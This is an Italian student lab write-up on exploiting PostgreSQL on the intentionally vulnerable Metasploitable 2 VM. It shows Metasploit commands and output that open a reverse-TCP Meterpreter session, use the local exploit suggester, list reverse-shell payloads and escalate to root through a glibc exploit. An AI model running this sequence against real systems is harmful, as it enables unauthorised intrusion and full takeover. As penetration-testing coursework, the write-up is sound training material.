

S7-L3

EXPLOIT SU POSTGRESQL



Usare il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2.

Eseguire l'exploit per ottenere una sessione Meterpreter sul sistema target.

Escalation di privilegi e backdoor: Una volta ottenuta la sessione Meterpreter, il compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.

Eseguire il comando getuid per verificare l'identità dell'utente corrente.

exploit avvenuto con successo

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.0.134
RHOSTS => 192.168.0.134
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.0.193
LHOST => 192.168.0.193
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.0.193:4444
[*] 192.168.0.134:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC
) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/aeoBEkDZ.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.0.134
[*] Meterpreter session 1 opened (192.168.0.193:4444 => 192.168.0.134:46730) at 2024-11
-13 15:03:24 +0100

meterpreter >
```

1° exploit utilizzato

Il modulo exploit/linux/postgres/postgres_payload è uno strumento di Metasploit progettato per sfruttare vulnerabilità presenti nel servizio PostgreSQL su sistemi operativi Linux. PostgreSQL è un popolare database relazionale open-source ampiamente utilizzato per la gestione di dati e applicazioni critiche.

Tuttavia, configurazioni deboli o vulnerabilità nel suo sistema di autenticazione e nei comandi di gestione possono esporre il sistema a potenziali attacchi.

L'obiettivo di questo exploit è ottenere una shell sulla macchina bersaglio tramite un exploit che sfrutta un bug nella gestione dei comandi di PostgreSQL.

Il modulo può iniettare un payload nella sessione PostgreSQL, ottenendo così l'accesso alla shell, un primo passo essenziale per l'esplorazione e l'escalation dei privilegi.

2° exploit utilizzato

Dopodichè utilizzeremo il 2° exploit: “post/multi/recon/local_exploit_suggerster” ovvero uno tool utile per l’escalation dei privilegi su una macchina già compromessa. Analizza il sistema in cui si trova la sessione corrente (ad esempio, una sessione Meterpreter) e suggerisce exploit locali che possono essere utilizzati per aumentare i privilegi dell’utente attuale.

```
Matching Modules
=====
#  Name
tion
-
-
0  post/multi/recon/local_exploit_suggerster . normal No Multi R
econ Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggerster

msf6 exploit(linux/postgres/postgres_payload) > use 0
msf6 post(multi/recon/local_exploit_suggerster) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggerster) > run

[-] Session not found
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggerster) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggerster) > run

[*] 192.168.0.134 - Collecting local exploits for x86/linux ...
[*] 192.168.0.134 - 196 exploit checks are being tried...
[+] 192.168.0.134 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.0.134 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.0.134 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.0.134 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.0.134 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.0.134 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.0.134 - Valid modules for session 1:
```

Payloads

Il payload
payload/linux/x86/meterpreter/revers
e_tcp in Metasploit è un payload
progettato per ottenere una sessione
Meterpreter su una macchina Linux.
Questo payload sfrutta un exploit per
stabilire una connessione inversa
(reverse shell) dalla macchina
bersaglio verso la tua macchina,
permettendoti di controllare il
sistema compromesso

| Compatible Payloads | | | | |
|---------------------|--|-----------------|--------|-------|
| # | Name | Disclosure Date | Rank | Check |
| 0 | payload/generic/custom | . | normal | No |
| 1 | payload/generic/debug_trap | . | normal | No |
| 2 | payload/generic/shell_bind_aws_ssm | . | normal | No |
| 3 | payload/generic/shell_bind_tcp | . | normal | No |
| 4 | payload/generic/shell_reverse_tcp | . | normal | No |
| 5 | payload/generic/ssh/interact | . | normal | No |
| 6 | payload/generic/tight_loop | . | normal | No |
| 7 | payload/linux/x64/exec | . | normal | No |
| 8 | payload/linux/x64/meterpreter/bind_tcp | . | normal | No |
| 9 | payload/linux/x64/meterpreter/reverse_sctp | . | normal | No |
| 10 | payload/linux/x64/meterpreter/reverse_tcp | . | normal | No |
| 11 | payload/linux/x64/meterpreter_reverse_http | . | normal | No |
| 12 | payload/linux/x64/meterpreter_reverse_https | . | normal | No |
| 13 | payload/linux/x64/meterpreter_reverse_tcp | . | normal | No |
| 14 | payload/linux/x64/pingback_bind_tcp | . | normal | No |
| 15 | payload/linux/x64/pingback_reverse_tcp | . | normal | No |
| 16 | payload/linux/x64/shell/bind_tcp | . | normal | No |
| 17 | payload/linux/x64/shell/reverse_sctp | . | normal | No |
| 18 | payload/linux/x64/shell/reverse_tcp | . | normal | No |
| 19 | payload/linux/x64/shell_bind_ipv6_tcp | . | normal | No |
| 20 | payload/linux/x64/shell_bind_tcp | . | normal | No |
| 21 | payload/linux/x64/shell_bind_tcp_random_port | . | normal | No |
| 22 | payload/linux/x64/shell_reverse_ipv6_tcp | . | normal | No |
| 23 | payload/linux/x64/shell_reverse_tcp | . | normal | No |
| 24 | payload/linux/x86/chmod | . | normal | No |
| 25 | payload/linux/x86/exec | . | normal | No |
| 26 | payload/linux/x86/meterpreter/bind_ipv6_tcp | . | normal | No |
| 27 | payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid | . | normal | No |
| 28 | payload/linux/x86/meterpreter/bind_nonx_tcp | . | normal | No |
| 29 | payload/linux/x86/meterpreter/bind_tcp | . | normal | No |
| 30 | payload/linux/x86/meterpreter/bind_tcp_uuid | . | normal | No |
| 31 | payload/linux/x86/meterpreter/reverse_ipv6_tcp | . | normal | No |
| 32 | payload/linux/x86/meterpreter/reverse_nonx_tcp | . | normal | No |
| 33 | payload/linux/x86/meterpreter/reverse_tcp | . | normal | No |
| 34 | payload/linux/x86/meterpreter/reverse_tcp_uuid | . | normal | No |
| 35 | payload/linux/x86/meterpreter_reverse_http | . | normal | No |
| 36 | payload/linux/x86/meterpreter_reverse_https | . | normal | No |
| 37 | payload/linux/x86/meterpreter_reverse_tcp | . | normal | No |
| 38 | payload/linux/x86/metsvc_bind_tcp | . | normal | No |
| 39 | payload/linux/x86/metsvc_reverse_tcp | . | normal | No |
| 40 | payload/linux/x86/read_file | . | normal | No |
| 41 | payload/linux/x86/shell/bind_ipv6_tcp | . | normal | No |
| 42 | payload/linux/x86/shell/bind_ipv6_tcp_uuid | . | normal | No |

Privilege escalation: ROOT

assegnamo infine il target e la sessione e avviamo il payload. Per verificare di avere i privilegi, eseguiamo il comando getuid.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.0.193:4444
[*] Sending stage (1017704 bytes) to 192.168.0.134
[*] Sending stage (1017704 bytes) to 192.168.0.134
[*] Meterpreter session 2 opened (192.168.0.193:4444 → 192.168.0.134:43449) at 2024-11-13 16:36:18 +0100
[*] Meterpreter session 3 opened (192.168.0.193:4444 → 192.168.0.134:43450) at 2024-11-13 16:36:19 +0100
[*] Sending stage (1017704 bytes) to 192.168.0.134
[*] Meterpreter session 4 opened (192.168.0.193:4444 → 192.168.0.134:43451) at 2024-11-13 16:36:19 +0100
[*] Sending stage (1017704 bytes) to 192.168.0.134
[*] Meterpreter session 5 opened (192.168.0.193:4444 → 192.168.0.134:43452) at 2024-11-13 16:36:20 +0100
[*] Sending stage (1017704 bytes) to 192.168.0.134
[*] Meterpreter session 6 opened (192.168.0.193:4444 → 192.168.0.134:43453) at 2024-11-13 16:36:20 +0100
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.1sMHN' (1271 bytes) ...
[*] Writing '/tmp/.hpPp50W' (271 bytes) ...
[*] Writing '/tmp/.HhKLrh' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1017704 bytes) to 192.168.0.134
[*] Meterpreter session 7 opened (192.168.0.193:4444 → 192.168.0.134:43454) at 2024-11-13 16:36:24 +0100

meterpreter > getuid
Server username: root
meterpreter > █
```



THANK YOU
MATTIA DI DONATO